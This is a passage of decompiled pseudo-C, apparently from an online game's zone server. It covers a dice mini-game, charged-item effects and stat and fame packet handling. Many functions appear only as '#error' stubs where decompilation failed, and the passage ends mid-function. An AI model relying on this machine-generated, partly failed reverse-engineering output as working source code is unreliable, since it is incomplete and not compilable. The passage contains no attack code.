-------------------------------------------------------- #error "4F9900: undefined or illegal type '#593' (funcsize=163)" //----- (004F9B20) -------------------------------------------------------- #error "4F9B20: undefined or illegal type '#593' (funcsize=113)" //----- (004F9CA0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDiceTaiSai(ShineObjectClass::ShineMiniHouse *this) { __int64 v1; // qax@1 char result; // al@2 ItemInventoryCell *v3; // ecx@3 v1 = *(_QWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0]; if ( (HIDWORD(v1) & *(_DWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0]) != -1 && (v3 = this->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell) != 0 && *(_QWORD *)&v3->iic_Item.iti_registnum.binary.gap0[0] == v1 ) result = v3->iic_Item.iti_itemstruct.itemattr.blot.lot & 1; else result = 0; return result; } //----- (004F9CE0) -------------------------------------------------------- DICE_TAISAI_GAME_STATUS __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameStatus(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.nGameStatus; } //----- (004F9CF0) -------------------------------------------------------- DICE_TAISAI_GAME_MODE __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameMode(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.nGameMode; } //----- (004F9D00) -------------------------------------------------------- #error "4F9D00: undefined or illegal type '#593' (funcsize=62)" //----- (004F9DA0) -------------------------------------------------------- char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@2 char result; // al@3 if ( finger->cief_Finger >= -1 && (v2 = finger->cief_Finger + 1, finger->cief_Finger = v2, v2 < this->cideb_Total) ) { result = 1; } else { finger->cief_Finger = -10; result = 0; } return result; } //----- (004F9DD0) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetIndex(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@1 CIDEB_Element *result; // eax@3 v2 = finger->cief_Finger; if ( finger->cief_Finger < 0 || v2 >= this->cideb_Total ) result = 0; else result = &this->cideb_Array[v2]; return result; } //----- (004F9E00) -------------------------------------------------------- #error "4F9E00: undefined or illegal type '#593' (funcsize=278)" //----- (004FA230) -------------------------------------------------------- #error "4FA230: undefined or illegal type '#593' (funcsize=166)" //----- (004FA480) -------------------------------------------------------- #error "4FA480: undefined or illegal type '#593' (funcsize=164)" //----- (004FA6C0) -------------------------------------------------------- #error "4FA6C0: undefined or illegal type '#593' (funcsize=175)" //----- (004FA920) -------------------------------------------------------- #error "4FA920: undefined or illegal type '#593' (funcsize=189)" //----- (004FABB0) -------------------------------------------------------- #error "4FABB0: undefined or illegal type '#593' (funcsize=141)" //----- (004FADA0) -------------------------------------------------------- #error "4FADA0: undefined or illegal type '#593' (funcsize=105)" //----- (004FAF30) -------------------------------------------------------- #error "4FAF30: undefined or illegal type '#593' (funcsize=198)" //----- (004FB1D0) -------------------------------------------------------- #error "4FB1D0: undefined or illegal type '#593' (funcsize=198)" //----- (004FB470) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ(int netcmd, int len, __int16 handle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ"); } //----- (004FB4C0) -------------------------------------------------------- #error "4FB4C0: undefined or illegal type '#593' (funcsize=293)" //----- (004FB880) -------------------------------------------------------- #error "4FB880: undefined or illegal type '#593' (funcsize=233)" //----- (004FBBC0) -------------------------------------------------------- #error "4FBBC0: undefined or illegal type '#593' (funcsize=199)" //----- (004FBE70) -------------------------------------------------------- #error "4FBE70: undefined or illegal type '#593' (funcsize=126)" //----- (004FBFF0) -------------------------------------------------------- #error "4FBFF0: undefined or illegal type '#593' (funcsize=64)" //----- (004FC0C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RankSort(ShineObjectClass::ShineMiniHouse *this) { signed int v1; // esi@1 char *v2; // eax@2 char *v3; // edx@2 v1 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v2 = (char *)this->smh_DiceTaiSai.pRank; v3 = (char *)this->smh_DiceTaiSai.GamerInfo; do { *(_DWORD *)v2 = v3; ++v1; v2 += 4; v3 += 8; } while ( v1 < this->smh_DiceTaiSai.nGamerCnt ); } qsort( this->smh_DiceTaiSai.pRank, this->smh_DiceTaiSai.nGamerCnt, 4u, ShineObjectClass::ShineMiniHouse::so_mh_RankSortCompare); return 1; } //----- (004FC120) -------------------------------------------------------- #error "4FC120: undefined or illegal type '#593' (funcsize=201)" //----- (004FC390) -------------------------------------------------------- #error "4FC390: undefined or illegal type '#593' (funcsize=109)" //----- (004FC4F0) -------------------------------------------------------- #error "4FC4F0: undefined or illegal type '#593' (funcsize=59)" //----- (004FC5D0) -------------------------------------------------------- #error "4FC5D0: undefined or illegal type '#593' (funcsize=59)" //----- (004FC6B0) -------------------------------------------------------- #error "4FC6B0: undefined or illegal type '#593' (funcsize=77)" //----- (004FC7D0) -------------------------------------------------------- #error "4FC7D0: undefined or illegal type '#593' (funcsize=115)" //----- (004FC940) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck(void *this, int pItemBag, int nInvenType, char bIsDelActiveFurniture, int nGameStatus) { void *v5; // ebx@1 signed int v6; // edi@1 int v7; // ecx@1 int v9; // eax@3 int v10; // eax@3 int v11; // eax@4 int v12; // ebp@4 int v13; // ecx@5 int v14; // eax@6 unsigned int v15; // esi@7 unsigned int v16; // edx@7 unsigned int v17; // ecx@10 int v18; // edx@10 unsigned int v19; // ecx@12 int v20; // edx@12 unsigned int v21; // ecx@14 int v22; // edx@14 int v23; // ecx@19 int *uii; // [sp+14h] [bp-28h]@3 int v25; // [sp+18h] [bp-24h]@3 int v26; // [sp+1Ch] [bp-20h]@3 int ibii; // [sp+20h] [bp-1Ch]@3 int v28; // [sp+24h] [bp-18h]@3 int v29; // [sp+2Ch] [bp-10h]@3 int v30; // [sp+38h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"; v6 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v7 = funcallanalizer.fca_stackpoint++ + 1; v30 = 0; if ( nInvenType != 16 ) { funcallanalizer.fca_stackpoint = v7 - 1; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"); return 0; } ibii = (int)&ItemBoxIterator::_vftable_; v28 = pItemBag; v29 = (*(int (**)(void))(*(_DWORD *)pItemBag + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; v9 = *(_DWORD *)v5; LOBYTE(v30) = 1; v10 = (*(int (__thiscall **)(void *))(v9 + 2004))(v5); uii = &ibii; v25 = v10; v26 = 16; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) goto LABEL_25; do { v11 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); v12 = v11; if ( v11 ) { v13 = *(_DWORD *)(v11 + 112); if ( v13 ) { v14 = (*(int (__stdcall **)(int))(*(_DWORD *)v13 + 48))(v11 + 8); if ( v14 ) { v15 = *(_DWORD *)v14; v16 = (unsigned __int8)*(_DWORD *)v14; if ( (unsigned __int8)*(_DWORD *)v14 ) { if ( v16 <= (unsigned __int8)chargeditemcheck._bf0 ) { if ( v16 < (unsigned __int8)chargeditemcheck._bf0 || (v17 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F, v18 = (v15 >> 8) & 0x1F, v18 <= v17) && (v18 < v17 || (v19 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F, v20 = (v15 >> 13) & 0x3F, v20 <= v19) && (v20 < v19 || (v21 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F, v22 = (v15 >> 19) & 0x3F, v22 <= v21) && (v22 < v21 || (v15 & 0xFE000000) < ((unsigned int)chargeditemcheck._bf0 & 0xFE000000)))) ) { if ( *(_BYTE *)(v12 + 10) & 1 ) { if ( bIsDelActiveFurniture == 1 ) { v23 = uii[2]; LABEL_22: ShineObjectClass::ShinePlayer::sp_DiceTaiSaiItemIDChange(v5, v12, 16, v23, v14); continue; } if ( nGameStatus ) continue; } v23 = uii[2]; goto LABEL_22; } } } } } } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ); v6 = -1; LABEL_25: --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v30 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"); return 1; } // 4F9E00: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DiceTaiSaiItemIDChange(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004FCB60) -------------------------------------------------------- int __thiscall Parameter::Container::c_Storepure(void *this, int cc, int a3) { int v3; // ebp@1 void *v4; // ebx@1 unsigned __int16 v5; // ax@1 int v6; // esi@4 int v7; // eax@4 int v8; // eax@4 int result; // eax@4 int v10; // [sp+18h] [bp+8h]@2 v3 = a3; v4 = this; v5 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a3 + 1236))(a3); if ( (unsigned __int8)v5 > 0x96u ) v10 = *(_DWORD *)(cc + 67672); else v10 = *(_DWORD *)(cc + 4 * v5 + 67672); memcpy(v4, ¶meter_eraser_plus, 0xC0u); *(_DWORD *)v4 = *(_DWORD *)(v10 + 4) + (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 2272))(v3); *((_DWORD *)v4 + 1) = *(_DWORD *)(v10 + 8) + (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 2272))(v3); *((_DWORD *)v4 + 2) = *(_DWORD *)(v10 + 20) + (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2272))(v3); *((_DWORD *)v4 + 3) = *(_DWORD *)(v10 + 12) + (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2272))(v3); v6 = cc; *((_DWORD *)v4 + 4) = *(_DWORD *)(v10 + 24) + (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2272))(v3); v7 = (**(int (__thiscall ***)(int, int, void *))cc)(cc, v3, v4); *((_DWORD *)v4 + 5) = v7; *((_DWORD *)v4 + 6) = v7; *((_DWORD *)v4 + 7) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v6 + 4))(v6, v3, v4); *((_DWORD *)v4 + 8) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v6 + 16))(v6, v3, v4); *((_DWORD *)v4 + 9) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v6 + 20))(v6, v3, v4); v8 = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v6 + 8))(v6, v3, v4); *((_DWORD *)v4 + 10) = v8; *((_DWORD *)v4 + 11) = v8; *((_DWORD *)v4 + 12) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v6 + 12))(v6, v3, v4); *((_DWORD *)v4 + 13) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v6 + 24))(v6, v3, v4); *((_DWORD *)v4 + 14) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v6 + 28))(v6, v3, v4); *((_DWORD *)v4 + 19) = 1000; *((_DWORD *)v4 + 20) = 1000; *((_DWORD *)v4 + 21) = 1000; result = 0; *((_DWORD *)v4 + 22) = 0; *((_DWORD *)v4 + 23) = 0; *((_DWORD *)v4 + 24) = 0; *((_DWORD *)v4 + 25) = 0; *((_DWORD *)v4 + 26) = 0; *((_DWORD *)v4 + 27) = 0; *((_DWORD *)v4 + 28) = 0; *((_DWORD *)v4 + 29) = 0; *((_DWORD *)v4 + 30) = 0; *((_DWORD *)v4 + 31) = 0; return result; } //----- (004FCCB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_CalcTotalStat(void *this) { int v1; // esi@1 int v2; // edi@1 v1 = *((_DWORD *)this + 964); v2 = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1236))(); return shineparam.scp_param.commonparam[v2]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 48))(v1)]; } //----- (004FCCE0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_fail(int department, int command, __int16 errcode) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_NC_ITEMDB_fail", 0); } //----- (004FCD00) -------------------------------------------------------- unsigned __int16 __cdecl WeaponCostumInitCharge(unsigned __int16 itmid) { CIDEB_Element *v1; // eax@1 ChargedItemEffect *v2; // eax@2 unsigned __int16 result; // ax@4 v1 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, itmid); if ( v1 && (v2 = v1->ce_Data) != 0 && v2->EffectEnum == 28 ) result = v2->EffectValue; else result = 0; return result; } //----- (004FCD30) -------------------------------------------------------- #error "4FCD30: undefined or illegal type '#593' (funcsize=50)" //----- (004FCDD0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::smo_ply_IsCostumCharged(int this) { return *(_DWORD *)(this + 143308) != (_DWORD)&ShineObjectClass::ShineObject::so_CostumWeaponChargeing; } // 130BD958: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; //----- (004FCDF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail(void *this, int department, int command, unsigned __int16 errcode) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, int, int, _DWORD))(*(_DWORD *)v4 + 776))(v4, department, command, errcode); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail"); } //----- (004FCEA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCen(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeCen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4147; *(_DWORD *)(v2 + 2) = *(_DWORD *)((char *)v1 + 32221); *(_DWORD *)(v2 + 6) = *(_DWORD *)((char *)v1 + 32225); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChangeCen : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCen"); } //----- (004FCF90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeFame(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4207; *(_DWORD *)(v2 + 2) = *(_DWORD *)((char *)v1 + 32217); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChangeFame : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeFame"); } //----- (004FD070) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SaveFame(void *this) { void *v1; // esi@1 char *v2; // edi@1 ZoneBaseSession *v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SaveFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SaveFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4208; *(_DWORD *)(v2 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *(_DWORD *)(v2 + 6) = *(_DWORD *)((char *)v1 + 32217); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_SaveFame : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SaveFame"); } //----- (004FD160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCell(void *this, int location, int cell, int exchange) { void *v4; // edi@1 char *v5; // esi@1 __int16 v6; // ax@1 int v7; // ecx@2 unsigned __int16 v8; // ax@2 int v9; // eax@3 int v10; // ebp@4 int v11; // esi@9 int v12; // eax@11 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChangeCell"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChangeCell"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x3000; *(_WORD *)gpp.pp_Buffer = v6; if ( (*(_WORD *)location & 0xFC00) == 8192 ) { *(_WORD *)v5 = v6 & 0xFC02 | 2; v5[4] = *(_BYTE *)location; v7 = cell; *((_WORD *)v5 + 1) = *(_WORD *)exchange; v8 = *(_WORD *)(cell + 8); *(_WORD *)(v5 + 5) = v8; if ( v8 == -1 ) { v9 = (int)(v5 + 7); goto LABEL_9; } v10 = (int)(v5 + 7); } else { *(_WORD *)v5 = v6 & 0xFC01 | 1; *((_WORD *)v5 + 2) = *(_WORD *)location; v7 = cell; *((_WORD *)v5 + 1) = *(_WORD *)exchange; v8 = *(_WORD *)(cell + 8); *((_WORD *)v5 + 3) = v8; if ( v8 == -1 ) { v9 = (int)(v5 + 8); goto LABEL_9; } v10 = (int)(v5 + 8); } v9 = (int)ItemTotalInformation::iti_fill2buffer_atrib( (ItemTotalInformation *)v7, *(ItemAttributeClass **)(v7 + 112), v8, (char *)v10); LABEL_9: v11 = v9 - (_DWORD)v5; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v11) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ChangeCell : Packet Too Long", v11); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChangeCell"); } //----- (004FD2E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize(void *this, __int16 command, int errcommand, int slot, int itm) { void *v5; // ebx@1 int v6; // edx@1 int v7; // esi@1 void *v8; // ecx@1 int v9; // edx@1 int v10; // eax@1 char *v11; // ebp@1 int v12; // ecx@1 int v13; // eax@2 int v14; // edi@2 int v15; // ebx@2 int v16; // esi@3 void *v17; // esi@3 int v18; // eax@3 void *v19; // ST04_4@3 ZoneBaseSession *v20; // eax@6 ITEM_INVEN inv; // [sp+18h] [bp-94h]@1 int lot; // [sp+1Ch] [bp-90h]@1 void *iac; // [sp+20h] [bp-8Ch]@1 int iic; // [sp+24h] [bp-88h]@1 FunctionEntarance _; // [sp+28h] [bp-84h]@1 char iti; // [sp+2Ch] [bp-80h]@3 char v27; // [sp+34h] [bp-78h]@3 __int16 v28; // [sp+98h] [bp-14h]@3 char v29; // [sp+9Ah] [bp-12h]@3 unsigned int v30; // [sp+9Ch] [bp-10h]@1 int v31; // [sp+A8h] [bp-4h]@1 v5 = this; v30 = (unsigned int)&inv ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *((_DWORD *)v5 + 8920); v31 = 0; v7 = (*(int (__thiscall **)(char *, int))v6)((char *)v5 + 35680, slot); v8 = *(void **)(v7 + 112); v9 = *(_DWORD *)v8; iic = v7; iac = v8; v10 = (*(int (__stdcall **)(int))(v9 + 24))(v7 + 8); v11 = gpp.pp_Buffer; lot = v10; *(_WORD *)gpp.pp_Buffer = command & 0x3FF | 0x9000; *((_WORD *)v11 + 1) = *((_WORD *)v5 + 2); *((_DWORD *)v11 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *((_WORD *)v11 + 4) = *((_WORD *)v5 + 28942); *(_DWORD *)(v11 + 10) = *(_DWORD *)v7; *(_DWORD *)(v11 + 14) = *(_DWORD *)(v7 + 4); v12 = lot; *((_WORD *)v11 + 9) = *(_WORD *)(v7 + 8); inv.Inven = slot & 0x3FF | 0x2400; if ( v12 == 1 ) { v11[20] = 1; v13 = *((_WORD *)v11 + 4); v14 = 0; v15 = (int)((char *)v5 + 57880); *(_WORD *)(v11 + 21) = 0; (*(void (__thiscall **)(int, int, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v15 + 48))(v15, v13, v7, &inv, &inv); } else { memcpy(&iti, (const void *)v7, 0x6Cu); v16 = v7 + 108; v28 = *(_WORD *)v16; v29 = *(_BYTE *)(v16 + 2); v17 = iac; (*(void (__thiscall **)(void *, char *, int))(*(_DWORD *)iac + 28))(iac, &v27, lot - 1); v14 = (**(int (__thiscall ***)(void *, char *, char *))v17)(v17, &v27, v11 + 23) - (_DWORD)(v11 + 23); *(_WORD *)(v11 + 21) = 21; v18 = *((_WORD *)v11 + 4); v15 = (int)((char *)v5 + 57880); v19 = (void *)iic; v11[20] = 0; (*(void (__thiscall **)(int, int, void *, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v15 + 56))( v15, v18, v19, &iti, &inv, &inv); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v14 + 23) ) { v20 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v20); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize : Packet Too Long", v14 + 23); } ++*(_WORD *)(v15 + 4); --funcallanalizer.fca_stackpoint; v31 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"); __security_check_cookie((unsigned int)&inv ^ v30); } //----- (004FD510) -------------------------------------------------------- #error "4FD510: undefined or illegal type '#593' (funcsize=74)" //----- (004FD630) -------------------------------------------------------- #error "4FD630: undefined or illegal type '#593' (funcsize=74)" //----- (004FD750) -------------------------------------------------------- #error "4FD750: undefined or illegal type '#593' (funcsize=64)" //----- (004FD850) -------------------------------------------------------- #error "4FD850: undefined or illegal type '#593' (funcsize=64)" //----- (004FD950) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitFreeStat(void *this) { int v1; // esi@1 int v2; // ST00_4@1 char *v3; // edi@1 int v4; // ebx@1 int v5; // ST14_4@1 int v6; // eax@3 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 3856); *(_BYTE *)(v1 + 32254) = 0; *(_BYTE *)(v1 + 32253) = 0; *(_BYTE *)(v1 + 32252) = 0; *(_BYTE *)(v1 + 32251) = 0; *(_BYTE *)(v1 + 32250) = 0; Parameter::Container::c_Storepure((void *)(v1 + 3860), v2, v1); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28660; v4 = *(_DWORD *)(v1 + 3856); v5 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1236))(v1); LOWORD(v4) = shineparam.scp_param.commonparam[v5]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 48))(v4)]; v3[2] = v4 - ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat : Packet Too Long", 3); } (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v1 + 52))(v1, 1); ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatRelease(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat"); } //----- (004FDAB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow(void *this) { void *v1; // esi@1 char *v2; // ebp@1 char v3; // bl@1 int v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CharaterSkillList::csl_EmpowerClear((CharaterSkillList *)((char *)v1 + 68496)); v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28659; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1712))(v1); v2[2] = v3 - CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)((char *)v1 + 68496)); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow : Packet Too Long", 3); } 